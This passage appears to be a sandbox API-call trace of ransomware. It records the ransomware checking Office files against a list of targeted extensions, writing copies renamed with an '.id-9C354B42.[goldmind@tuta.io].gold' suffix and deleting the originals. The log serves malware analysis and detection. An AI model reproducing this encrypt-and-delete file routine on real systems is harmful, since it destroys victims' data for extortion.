Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString=".doc") returned 4 [0102.987] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString=".docx") returned 5 [0102.987] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0102.987] lstrlenW (lpString=".pdf") returned 4 [0102.987] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString=".xls") returned 4 [0102.987] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString=".xlsx") returned 5 [0102.987] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0102.987] lstrlenW (lpString=".ppt") returned 4 [0102.987] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString=".zip") returned 4 [0102.987] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString=".rar") returned 4 [0102.987] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString=".bz2") returned 4 [0102.987] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.987] lstrlenW (lpString=".7z") returned 3 [0102.987] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString=".dbf") returned 4 [0102.987] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString=".1cd") returned 4 [0102.987] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString=".jpg") returned 4 [0102.987] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.988] lstrlenW (lpString=".doc") returned 4 [0102.988] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString=".docx") returned 5 [0102.988] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0102.988] lstrlenW (lpString=".pdf") returned 4 [0102.988] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString=".xls") returned 4 [0102.988] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString=".xlsx") returned 5 [0102.988] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0102.988] lstrlenW (lpString=".ppt") returned 4 [0102.988] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.988] lstrlenW (lpString=".zip") returned 4 [0102.988] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString=".rar") returned 4 [0102.988] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.988] lstrlenW (lpString=".bz2") returned 4 [0102.988] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.988] lstrlenW (lpString=".7z") returned 3 [0102.988] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.988] lstrlenW (lpString=".dbf") returned 4 [0102.988] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.988] lstrlenW (lpString=".1cd") returned 4 [0102.988] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0102.988] lstrlenW (lpString=".jpg") returned 4 [0102.988] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.988] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.988] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0102.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.989] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=446312) returned 1 [0102.989] CloseHandle (hObject=0x3bc) returned 1 [0102.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll")) returned 0x20 [0102.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.989] lstrlenW (lpString=".doc") returned 4 [0102.989] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString=".docx") returned 5 [0102.989] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0102.989] lstrlenW (lpString=".pdf") returned 4 [0102.989] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString=".xls") returned 4 [0102.989] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString=".xlsx") returned 5 [0102.989] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0102.989] lstrlenW (lpString=".ppt") returned 4 [0102.989] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.989] lstrlenW (lpString=".zip") returned 4 [0102.989] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString=".rar") returned 4 [0102.989] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.989] lstrlenW (lpString=".bz2") returned 4 [0102.989] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.989] lstrlenW (lpString=".7z") returned 3 [0102.989] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.989] lstrlenW (lpString=".dbf") returned 4 [0102.990] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".1cd") returned 4 [0102.990] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".jpg") returned 4 [0102.990] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".doc") returned 4 [0102.990] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString=".docx") returned 5 [0102.990] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0102.990] lstrlenW (lpString=".pdf") returned 4 [0102.990] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString=".xls") returned 4 [0102.990] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString=".xlsx") returned 5 [0102.990] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0102.990] lstrlenW (lpString=".ppt") returned 4 [0102.990] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".zip") returned 4 [0102.990] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString=".rar") returned 4 [0102.990] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.990] lstrlenW (lpString=".bz2") returned 4 [0102.990] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.990] lstrlenW (lpString=".7z") returned 3 [0102.990] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".dbf") returned 4 [0102.990] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".1cd") returned 4 [0102.990] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0102.990] lstrlenW (lpString=".jpg") returned 4 [0102.990] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.990] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0102.990] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0102.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.991] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=39808) returned 1 [0102.991] CloseHandle (hObject=0x3bc) returned 1 [0102.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 0x20 [0102.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.991] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.991] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.992] GetLastError () returned 0x0 [0102.992] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x9b80, lpOverlapped=0x0) returned 1 [0102.993] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x9b90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9b90, lpOverlapped=0x0) returned 1 [0102.994] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.995] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0102.995] SetEndOfFile (hFile=0x198) returned 1 [0102.995] CloseHandle (hObject=0x198) returned 1 [0102.995] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.995] SetEndOfFile (hFile=0x3bc) returned 1 [0102.997] CloseHandle (hObject=0x3bc) returned 1 [0102.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".doc") returned 4 [0102.998] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".docx") returned 5 [0102.998] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0102.998] lstrlenW (lpString=".pdf") returned 4 [0102.998] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".xls") returned 4 [0102.998] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".xlsx") returned 5 [0102.998] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0102.998] lstrlenW (lpString=".ppt") returned 4 [0102.998] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".zip") returned 4 [0102.998] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".rar") returned 4 [0102.998] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".bz2") returned 4 [0102.998] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".7z") returned 3 [0102.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".dbf") returned 4 [0102.998] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".1cd") returned 4 [0102.998] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".jpg") returned 4 [0102.998] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.998] lstrlenW (lpString=".doc") returned 4 [0102.998] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".docx") returned 5 [0102.998] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0102.998] lstrlenW (lpString=".pdf") returned 4 [0102.998] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".xls") returned 4 [0102.998] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0102.998] lstrlenW (lpString=".xlsx") returned 5 [0102.999] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0102.999] lstrlenW (lpString=".ppt") returned 4 [0102.999] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.999] lstrlenW (lpString=".zip") returned 4 [0102.999] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString=".rar") returned 4 [0102.999] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString=".bz2") returned 4 [0102.999] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString=".7z") returned 3 [0102.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.999] lstrlenW (lpString=".dbf") returned 4 [0102.999] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.999] lstrlenW (lpString=".1cd") returned 4 [0102.999] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0102.999] lstrlenW (lpString=".jpg") returned 4 [0102.999] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0102.999] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0102.999] lstrlenW (lpString="MOVE.VRD") returned 8 [0102.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.204] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1420) returned 1 [0103.204] CloseHandle (hObject=0x38c) returned 1 [0103.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 0x20 [0103.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.269] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.269] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.270] GetLastError () returned 0x0 [0103.270] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x58c, lpOverlapped=0x0) returned 1 [0103.271] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x590, lpOverlapped=0x0) returned 1 [0103.271] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.271] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0103.272] SetEndOfFile (hFile=0x38c) returned 1 [0103.272] CloseHandle (hObject=0x38c) returned 1 [0103.272] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.272] SetEndOfFile (hFile=0x3a8) returned 1 [0103.273] CloseHandle (hObject=0x3a8) returned 1 [0103.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 1 [0103.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.274] lstrlenW (lpString=".doc") returned 4 [0103.274] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.274] lstrlenW (lpString=".docx") returned 5 [0103.274] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0103.274] lstrlenW (lpString=".pdf") returned 4 [0103.274] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.274] lstrlenW (lpString=".xls") returned 4 [0103.274] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.274] lstrlenW (lpString=".xlsx") returned 5 [0103.274] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0103.274] lstrlenW (lpString=".ppt") returned 4 [0103.274] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.274] lstrlenW (lpString=".zip") returned 4 [0103.274] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.274] lstrlenW (lpString=".rar") returned 4 [0103.275] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".bz2") returned 4 [0103.275] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".7z") returned 3 [0103.275] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".dbf") returned 4 [0103.275] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".1cd") returned 4 [0103.275] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".jpg") returned 4 [0103.275] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".doc") returned 4 [0103.275] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".docx") returned 5 [0103.275] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0103.275] lstrlenW (lpString=".pdf") returned 4 [0103.275] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".xls") returned 4 [0103.275] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0103.275] lstrlenW (lpString=".xlsx") returned 5 [0103.275] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0103.275] lstrlenW (lpString=".ppt") returned 4 [0103.275] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".zip") returned 4 [0103.275] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0103.275] lstrlenW (lpString=".rar") returned 4 [0103.275] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".bz2") returned 4 [0103.275] lstrcmpiW 